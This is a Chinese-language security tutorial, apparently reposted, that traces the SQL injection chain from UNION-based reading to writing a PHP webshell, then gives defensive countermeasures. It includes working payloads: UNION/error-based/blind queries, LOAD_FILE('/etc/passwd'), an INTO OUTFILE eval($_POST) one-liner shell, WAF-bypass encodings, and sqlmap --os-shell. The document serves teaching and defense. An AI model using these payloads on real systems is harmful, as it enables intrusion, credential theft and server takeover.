从union读到路径,到写进一句话:SQL注入getshell这条链,到底卡在哪

admin 2026-10-07 04:44:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统解析SQL注入从union读取到写入文件再到getshell的完整攻击链,涵盖注入成因、字段探测、报错注入、INTOOUTFILE写文件及WAF绕过等关键环节,并从防守视角给出参数化查询、最小权限、securefilepriv限制等对应断点措施。文章强调参数化是根治方案,建议用sqlmap自查及CodeQL代码审计,所有内容基于授权靶场合规复盘。 综合评分: 85 文章分类: 渗透测试,WEB安全,代码审计,红队,漏洞分析


从 union 读到路径,到写进一句话:SQL 注入 getshell 这条链,到底卡在哪

原创

Sink Sink

船山信安

2026年10月6日 17:02 湖南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

实战笔记 · PENTEST

从 union 读到路径,到写进一句话:SQL 注入 getshell 这条链,到底卡在哪

船山信安 · 2026 · 靶场原理向复盘 · 阅读约 12 分钟

你点开一个商品详情页,URL 后面跟着 id=1。你把它改成 id=1’,页面报错了。就这一个单引号,足够让一条查询变成你手里的笔。

这篇不教你怎么打谁。它讲的是:一条注入从”能读”到”能写文件”再到”服务器上多了一个壳”,中间每一脚踩的是什么、卡在哪、以及——站在防守这边,每一脚怎么断。所有命令都来自公开靶场与原理教材,点到为止。

1洞为什么存在:不是程序员手抖,是把用户输入当成了 SQL 的语法

绝大多数注入的根,就一句话:程序把用户传进来的字符串,直接拼进了 SQL 语句。数据库分不清哪部分是”命令”、哪部分是”数据”,它照单全收。

SELECT * FROM products WHERE id = ‘$id’

当 $id 是 1′ OR ‘1’=’1,这条语句的逻辑就被改写了——它不再找 id 为 1 的商品,而是把整张表都吐出来。行业里常见的 id、cat、page 这类 GET 参数,是重灾区。这不是某个单位的问题,是十年没变的老毛病。

2union 那一脚:从报错到回显,先把”嘴”撬开

拿到一个疑似注入点,第一件事不是想怎么写文件,是搞清楚”它回不回显、字段有几列”。

先探字段数。用 ORDER BY N 一点点加,直到页面从正常变成异常,那个临界点就是列数。接着用 UNION SELECT 1,2,3… 把数字顶上去,看哪个位置的数字出现在页面正文里——那个位置,就是你能”吐数据”的回显位。

id=1 ORDER BY 4    # 正常

    id=1 ORDER BY 5    # 报错 → 4 列

    id=0 UNION SELECT 1,2,3,4    # 看哪个数字回显

卡点来了:很多站点页面正常,但回显位一个都没有。这时候别急,换报错注入。MySQL 有个经典公式,靠 floor(rand(0)*2) 故意制造主键重复,把你想看的数据塞进报错信息里吐出来:

UNION SELECT 1 FROM(SELECT COUNT(*),

      CONCAT(FLOOR(RAND(0)*2),(SELECT VERSION()))x

    FROM information_schema.tables GROUP BY x)a

要是连报错都被吞了,就剩盲注:用 SLEEP(5) 看响应慢不慢,用 SUBSTRING() 一个字符一个字符往外抠。慢,但稳。这一步到这,你还只是”能读”。

3真正要命的一步:从读数据,到往磁盘写文件

读,只是偷看;写,才是把脚迈进去。MySQL 有两个函数让注入突破”只读”:load_file() 读服务器上的文件,INTO OUTFILE 把查询结果写成文件。

读配置文件,往往是写马的前奏——先拿到网站物理路径、数据库账号,才知道往哪落、用什么权限落:

UNION SELECT 1, LOAD_FILE(‘/etc/passwd’)

    UNION SELECT 1, ‘<?php eval($_POST[cmd]);?>‘

      INTO OUTFILE ‘/var/www/html/s.php’

这里有个真实的坑,老教材里反复提:用 INTO OUTFILE 写马时,MySQL 会把你语句里的换行原样写进文件。大马里换行一多,PHP 直接解析报错。所以实战里几乎都写”一句话”,而不是整匹大马——一行搞定,少出错。

另一个更硬的卡点:现代 MySQL 默认 secure_file_priv 不是空,而是 NULL 或某个固定目录。一旦是 NULL,INTO OUTFILE 直接被拦,任凭你权限多大都没用。当年不少管理员图省事把这参数放开、还用 root 连库,才把这条路铺平;现在这扇门,运维默认就焊死了。

灵光一闪往往在这:outfile 走不通,就去看 general_log 能不能开、日志路径能不能写;或者换数据库——PostgreSQL 的 COPY 和 INSERT … VALUES(‘<?php eval…’) 同样能把一句话落进磁盘。这,就是从”能读”跨到”能写”的那道坎。

4对抗升级:WAF 拦了,就换皮再来

能写马,不代表能落地。前面大概率还站着一道 WAF。它的规则大多盯着明文 UNION SELECT、SLEEP()。绕它,本质是把同一条语义,穿上不同的衣服:

内联注释插空:/!50000UNION/ /!50000SELECT/

换行与制表符:%0a、%09 塞进关键字缝隙

大小写与 URL 双重编码:UnIoN、%2553

Base64 变形:把整段 payload 编码后由解码函数还原

这一来一回,是攻防双方在”语义等价”上的拉锯。WAF 越严,变形越花;变形越花,规则越要上语义分析。没有终点的猫鼠游戏。

5防守视角:这条链,每一脚都能断

讲完攻击链,回到我们该站的一边。上面每一脚,防守都有对应的断点。别等出了事再补课。

| | | | — | — | | 攻击那一步 | 防守怎么断 | | 拼接 SQL,用户输入当语法 | 参数化查询 / 预编译,让输入永远是数据 | | UNION / 报错 / 盲注读数据 | 白名单校验类型长度、最小权限账号、关错误回显 | | INTO OUTFILE / LOAD_FILE 写读文件 | secure_file_priv=NULL、禁用 general_log、降权 | | WAF 变形绕过 | 语义级检测 + 代码审计根治,而非只加正则 |

参数化是根上的修法。给一段正确的 Java,对比拼接写法:

// 错误:拼接

    String sql = “SELECT * FROM u WHERE id='”+id+”‘”;

    // 正确:预编译

    PreparedStatement ps = conn.prepareStatement(

      “SELECT * FROM u WHERE id=?”);

    ps.setString(1, id);

检测侧,别只靠 WAF 被动挡。自己用 sqlmap 扫一遍自己的站,比等别人扫你强:

sqlmap -u “https://example.com/p?id=1” –batch

    sqlmap -u “https://example.com/p?id=1” –os-shell # 自查写文件风险

代码审计上,可以用 CodeQL 这类工具写规则,把”用户输入流入 SQL 执行”的路径一次性捞出来——把洞在合并之前就掐死,比上线后救火便宜得多。

注入不是某个函数的 bug,是把用户输入当成了 SQL 的语法。

你修的是”参数化”这一个习惯,不是某一行过滤。链子再长,断在任何一节都够用;可只要拼接还在,后面九道门都形同虚设。

参考来源

· 《习科SQL注入自学指南》· ima 知识库「网络安全知识库」(union / into outfile / load_file / 报错注入 / 换行坑)

· 《靶场SQL注入篇(中):以 sql1_POST 实战,讲 POST 注入、getshell 与 sqlmap》· ima「信息安全备份」

· 《渗透测试从业者的实战课:SQL注入到Getshell》· ima「信息安全备份」

· 《SQL注入:堆叠注入写shell详解》· 小话安全

· 《绕 WAF 实战:6 种 SQL 注入变形技巧》· CISSP

· 《实战复盘:严苛 WAF 防护下的 SQL 注入绕过思路与实现》· 洞悉安全团队

本文为授权靶场与公开原理教材的合规复盘,所有命令与技巧均用于防御视角学习,点到为止。任何未授权的渗透行为均属违法。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:船山信安 Sink Sink《从 union 读到路径,到写进一句话:SQL 注入 getshell 这条链,到底卡在哪》

    评论:0   参与:  0